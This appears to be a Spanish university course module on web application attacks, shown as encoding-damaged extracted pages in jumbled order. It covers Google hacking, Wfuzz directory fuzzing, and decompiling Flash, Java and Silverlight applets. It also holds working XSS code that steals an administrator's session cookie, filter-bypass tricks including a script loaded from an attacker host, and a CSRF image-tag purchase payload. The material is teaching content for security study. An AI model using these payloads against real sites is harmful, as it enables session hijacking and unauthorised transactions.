tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 13: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

